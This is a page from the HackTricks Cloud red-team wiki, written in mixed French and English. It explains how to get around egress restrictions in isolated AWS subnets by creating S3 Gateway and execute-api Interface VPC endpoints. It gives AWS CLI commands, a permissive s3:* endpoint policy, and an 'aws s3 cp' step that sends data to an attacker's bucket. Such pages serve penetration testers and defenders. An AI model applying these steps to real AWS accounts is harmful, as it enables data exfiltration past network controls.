AWS – Contournement de l’egress depuis des subnets isolés via VPC Endpoints
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Summary
Cette technique abuse des VPC Endpoints pour créer des canaux d’exfiltration depuis des subnets sans Internet Gateways ni NAT. Les Gateway endpoints (p.ex. S3) ajoutent des prefix‑list routes dans les subnet route tables ; les Interface endpoints (p.ex. execute-api, secretsmanager, ssm, etc.) créent des ENIs atteignables avec des private IPs protégées par des security groups. Avec des permissions VPC/EC2 minimales, un attaquant peut activer un egress contrôlé qui ne traverse pas le public Internet.
Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
Option A – S3 Gateway VPC Endpoint
Variables
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- Create a permissive endpoint policy file (optional). Save as
allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Créer le S3 Gateway endpoint (ajoute une S3 prefix‑list route aux route tables sélectionnées) :
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Éléments de preuve à collecter :
aws ec2 describe-route-tables --route-table-ids $RTB_IDSindique une route vers la prefix list AWS S3 (par ex.,DestinationPrefixListId=pl-..., GatewayId=vpce-...).- Depuis une instance dans ces subnets (avec IAM perms) vous pouvez exfil via S3 sans Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Option B – Interface VPC Endpoint pour API Gateway (execute-api)
Variables
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Créez l’interface endpoint et attachez le SG :
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Éléments de preuve à recueillir :
aws ec2 describe-vpc-endpointsmontre le endpoint en étatavailableavecNetworkInterfaceIds(ENIs dans vos subnets).- Les instances dans ces subnets peuvent atteindre les Private API Gateway endpoints via ces ENIs VPCE (aucun chemin Internet requis).
Impact
- Contourne les contrôles de sortie (egress) périmétriques en exploitant des chemins privés gérés par AWS vers les services AWS.
- Permet l’exfiltration de données depuis des subnets isolés (par ex., écrire sur S3 ; appeler Private API Gateway ; accéder à Secrets Manager/SSM/STS, etc.) sans IGW/NAT.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

